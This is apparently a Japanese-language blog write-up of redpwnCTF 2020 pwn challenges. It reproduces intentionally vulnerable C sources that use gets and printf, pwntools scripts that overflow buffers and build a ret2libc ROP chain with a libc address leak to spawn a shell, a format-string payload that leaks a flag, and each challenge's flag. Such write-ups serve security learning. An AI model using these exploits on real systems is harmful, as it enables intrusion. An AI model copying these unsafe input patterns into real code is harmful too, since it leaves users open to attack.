kanyewest CTF

勉強したことをメモしています。

redpwnCTF 2020【Write up】

pwn

coffer-overflow-0

ソースコードも一緒に配布されるのでみてみると

#include <stdio.h>
#include <string.h>

int main(void)
{
  long code = 0;
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code != 0) {
    system("/bin/sh");
  }
}

BOFさせてcodeという変数を書き換えるとシェルが起動することがわかります。

$ nc 2020.redpwnc.tf 31199
Welcome to coffer overflow, where our coffers are overfilling with bytes ;)
What do you want to fill your coffer with?
AAAAAAAAAAAAAAAAAAAAAAAA
id
/bin/sh: 1: id: not found
ls
Makefile
bin
coffer-overflow-0
coffer-overflow-0.c
dev
flag.txt
lib
lib32
lib64
cat flag.txt
flag{b0ffer_0verf10w_3asy_as_123}

coffer-overflow-1

ソースコードをみてみると

#include <stdio.h>
#include <string.h>

int main(void)
{
  long code = 0;
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code == 0xcafebabe) {
    system("/bin/sh");
  }
}

BOFさせて変数codeを0から0xcafebabeに書き換えるとシェルを起動させることができます。

from pwn import *

e = ELF('./coffer-overflow-1')
#p = process('./coffer-overflow-1')
p = remote('2020.redpwnc.tf',31255)

payload = 'A'*0x18
payload += p64(0xcafebabe)
p.sendline(payload)
p.interactive()
$ python solve.py 
[*]
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 2020.redpwnc.tf on port 31255: Done
[*] Switching to interactive mode
Welcome to coffer overflow, where our coffers are overfilling with bytes ;)
What do you want to fill your coffer with?
$ id
/bin/sh: 1: id: not found
$ ls
Makefile
bin
coffer-overflow-1
coffer-overflow-1.c
dev
flag.txt
lib
lib32
lib64
$ cat flag.txt
flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}

coffer-overflow-2

#include <stdio.h>
#include <string.h>

int main(void)
{
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);
}

void binFunction() {
  system("/bin/sh");
}

BOFさせてbinFunction関数に飛ばすだけです。

from pwn import *

e = ELF('./coffer-overflow-2')
#p = process('./coffer-overflow-2')
p = remote('2020.redpwnc.tf',31908)

ret_addr = 0x0040053e

payload = 'A'*24
#payload += p64(ret_addr)
payload += p64(e.symbols['binFunction'])

p.sendline(payload)
p.interactive()
$ python solve.py 
[*]
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 2020.redpwnc.tf on port 31908: Done
[*] Switching to interactive mode
Welcome to coffer overflow, where our coffers are overfilling with bytes ;)
What do you want to fill your coffer with?
$ ls
Makefile
bin
coffer-overflow-2
coffer-overflow-2.c
dev
flag.txt
lib
lib32
lib64
$ cat flag.txt
flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}

secret-flag

$ file secret-flag 
secret-flag: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=03c6845dc54ee5f3cef2d41be905ca0a7065ebef, stripped
$ checksec.sh --file=./secret-flag 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols          FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes  0               3       ./secret-flag

strippedなのでgdbでエントリポイントから読んでいきます。

gdb-peda$ 
   0x93b:       mov    QWORD PTR [rbp-0x28],rax
   0x93f:       mov    esi,0x0
   0x944:       lea    rdi,[rip+0x15d]        # 0xaa8
   0x94b:       mov    eax,0x0
   0x950:       call   0x7f0 <open@plt>
   0x955:       mov    DWORD PTR [rbp-0x2c],eax
   0x958:       mov    rcx,QWORD PTR [rbp-0x28]
   0x95c:       mov    eax,DWORD PTR [rbp-0x2c]
   0x95f:       mov    edx,0x100
   0x964:       mov    rsi,rcx
   0x967:       mov    edi,eax
   0x969:       mov    eax,0x0
   0x96e:       call   0x7c0 <read@plt>
   0x973:       mov    rax,QWORD PTR [rip+0x2006a6]        # 0x201020 <stdout>
   0x97a:       mov    esi,0x0
   0x97f:       mov    rdi,rax
   0x982:       call   0x7a0 <setbuf@plt>
   0x987:       mov    rax,QWORD PTR [rip+0x2006a2]        # 0x201030 <stdin>
   0x98e:       mov    esi,0x0
   0x993:       mov    rdi,rax
   0x996:       call   0x7a0 <setbuf@plt>
   0x99b:       mov    rax,QWORD PTR [rip+0x20069e]        # 0x201040 <stderr>
   0x9a2:       mov    esi,0x0
   0x9a7:       mov    rdi,rax
   0x9aa:       call   0x7a0 <setbuf@plt>
   0x9af:       lea    rdi,[rip+0x102]        # 0xab8
   0x9b6:       call   0x780 <puts@plt>
   0x9bb:       lea    rdi,[rip+0x126]        # 0xae8
   0x9c2:       call   0x780 <puts@plt>
   0x9c7:       mov    rdx,QWORD PTR [rip+0x200662]        # 0x201030 <stdin>
   0x9ce:       lea    rax,[rbp-0x20]
   0x9d2:       mov    esi,0x14
   0x9d7:       mov    rdi,rax
   0x9da:       call   0x7d0 <fgets@plt>
   0x9df:       lea    rdi,[rip+0x127]        # 0xb0d
   0x9e6:       mov    eax,0x0
   0x9eb:       call   0x7b0 <printf@plt>
   0x9f0:       lea    rax,[rbp-0x20]
   0x9f4:       mov    rdi,rax
   0x9f7:       mov    eax,0x0
   0x9fc:       call   0x7b0 <printf@plt>
   0xa01:       mov    eax,0x0
   0xa06:       mov    rcx,QWORD PTR [rbp-0x8]
   0xa0a:       xor    rcx,QWORD PTR fs:0x28
   0xa13:       je     0xa1a
   0xa15:       call   0x790 <__stack_chk_fail@plt>
   0xa1a:       leave  
   0xa1b:       ret 

flag.txtがopenされてread関数でスタックに格納されたあとに

 ./secret-flag 
I have a secret flag, which you'll never get!
What is your name, young adventurer?

という出力がされているようです。またこのプログラムはFormat String Bugがあるのでスタックの中身を出力することができます。

今回は7番目にflagが格納されていました。

$ nc 2020.redpwnc.tf 31826
I have a secret flag, which you'll never get!
What is your name, young adventurer?
%7$s
Hello there: flag{n0t_s0_s3cr3t_f1ag_n0w}

the-library

$ file the-library
the-library: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3067a5291814bef337dafc695eee28f371370eae, not stripped
$ checksec.sh --file=./the-library
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols          FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   66 Symbols     No    0               1       ./the-library
$ ./the-library
Welcome to the library... What's your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello there: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (コアダンプ)

BOFがあり、libcが渡されているのでlibcのリークをしてsystem('/bin/sh')を実行しました。

from pwn import *

e = ELF('./the-library')
#p = process('./the-library')
p = remote('2020.redpwnc.tf',31350)
libc = ELF('./libc.so.6')

ret_addr = 0x00400506
pop_rdi_addr = 0x00400733

payload = 'A'*24
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(e.got['read'])
payload += p64(e.symbols['puts'])
payload += p64(e.symbols['_start'])

print p.recvuntil('name?')
p.sendline(payload)
print p.recvuntil('Hello there:')
print p.recvline()
print p.recvline()
ret = u64(p.recvline().rstrip('\n') + '\x00\x00')
print "ret: " + hex(ret)
libc_base_addr = ret-libc.symbols['read']
system_addr = libc.symbols['system'] + libc_base_addr
binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr

print "system: " + hex(system_addr)
print "/bin/sh: " + hex(binsh_addr)
payload = 'A'*24
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

print p.recvuntil('name?')
p.sendline(payload)
p.interactive()
$ python solve.py 
[*] 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 2020.redpwnc.tf on port 31350: Done
[*] 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Welcome to the library... What's your name?

Hello there:
 

AAAAAAAAAAAAAAAAAAAAAAAA\x06@

ret: 0x7ff2d0f86070
system: 0x7ff2d0ec5440
/bin/sh: 0x7ff2d1029e9a
Welcome to the library... What's your name?
[*] Switching to interactive mode

Hello there: 
AAAAAAAAAAAAAAAAAAAAAAAA\x06@
$ id
/bin/sh: 1: id: not found
$ ls
Makefile
bin
dev
flag.txt
lib
lib32
lib64
libc.so.6
the-library
the-library.c
$ cat flag.txt
flag{jump_1nt0_th3_l1brary}